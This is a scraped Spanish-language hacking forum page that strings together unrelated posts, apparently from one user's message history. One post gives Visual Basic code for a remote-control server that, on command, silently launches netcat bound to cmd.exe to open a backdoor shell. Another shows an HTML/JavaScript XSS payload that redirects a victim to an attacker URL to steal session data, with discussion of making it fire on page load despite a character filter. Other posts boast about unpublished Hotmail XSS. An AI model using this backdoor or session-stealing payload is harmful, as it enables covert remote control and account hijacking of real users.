Mensajes

Código [Seleccionar] Expandir


Function fncDir(strDir As String)
Dim i, strVar As String
sptDir = Split(strDir, "\")

For i = 0 To UBound(sptDir) - 1
    strVar = strVar & sptDir(i) & "\"
Next

fncDir = strVar
End Function


Código [Seleccionar] Expandir

Servidor:
Private Sub WS_onDataArrival(ByVal bytesTotal As Long)
Dim vData() As String
WS.GetData VTData, vbString
vData = Split(VTData, "|")
If vData(0) = "msge" Then
MsgBox vData(1)
VTData = ""
End If
If vData(0) = "nc_shell" Then
Shell "cmd.exe /c " & App.path & "\nc.exe -L -p " & vData(1) & " -e cmd.exe", vbHide
End If
Text1.Text = VTData
End Sub

Quizas lo que necesites es interceptar las cabeceras http, desde ahi puedes manipular el Referer, sin problemas....

Quizás entendiste mal, no pretendo manipular mi referencia, si no capturarla, redireccionando como sea a la víctima, desde la página vulnerable a mi servidor.

oh p**a madre ~ la web completa con razon no veia

listo pasado

Edita tu mensaje  .

Lo único que he encontrado de interés en google sobre como programar con raw socket en VB es esto .

Lo he probado, habiendo colocado previamente la libreria en system32, y según dice en los comentarios cuando te devuelve 0 quiere decir que se ha realizado la operación exito, en cambio a mi siempre me devuelve el valor 40.

A ver si alguien lo prueba y le funciona, o si sabe programar raw socket como que mejor, saludos  .

[<]

Te recomiendo IECookiesView o Proxomitron, buscalos en google.



Aprovecho este hilo activo, dirigido a las mentes más despiertas, para resolver una duda.

Mi intención no es exactamente falsificar la sesión, si no rovarla a traves de $HTTP_REFERER, y la cosa funciona, solo que el usuario tiene que pasar el puntero del ratón por encima del hipervínculo para que se ejecute el código javascript. Lo que quisiera es que el código javascript se ejecutase nada más cargar la página, tipo onLoad.

Para mi se ha convertido en un reto, aunque ya lo doy por perdido, a ver como lo ven ustedes...

Caracteres prohividos: < &

<a href="url"><img src="img" border="0" alt="alt"></a>

<a href="url" onMouseMove="javascript:location.href=http://stealsession"><img src="img" border="0" alt="alt"></a>

No depende es un hecho, ojooo , que no estoy hablando de myspace, en el caso de msn,  no es un tema de IE confugyracion, de que peta peta, pero , no llama a dos variables fundamentales, se ha probado con todas la ver de IE, y es un nuevo parche de actualizacion,, , esta explicado en el hotro hilo

Y... ¿si no actualizas tu Internet Explorer?

[beta]

De Peru??? oRTNZ  ,es bueno saber, el bug corre de hotmail, pero bajo Firefox, en iE no peta,

saludos..,//
MITM

Eso dependerá de la configuración que tengas en tu Internet Explorer.

Hotmail está lleno de inyecciones XSS, yo me puse una tarde y saqué dos que no estaban publicadas, y por muchos foros veo cada día inyecciones a Hotmail y otras páginas webs.

¿Conclusión? No hay que ser "uno de los grandes" para encontrar una inyección XSS/SQL, y menos en myspace beta.

Queria decir que las inyecciones XSS no tienen ningún merito encontrarlas, muchas páginas webs importantes las sufren, veáse Hotmail o Yahoo.

Digo que no tiene merito porque no es un fallo del sistema, si no un fallo del programador...

Heché un vistazo rápido a la lista de fallos y no encontré ninguno que funcionara.

Ahora este tipo se ha hecho famoso por encontrar un XSS en cada variable de myspace, bueno, no por el hecho de encontrarlas, que eso no tiene mucho merito, si no por el hecho de publicarlas...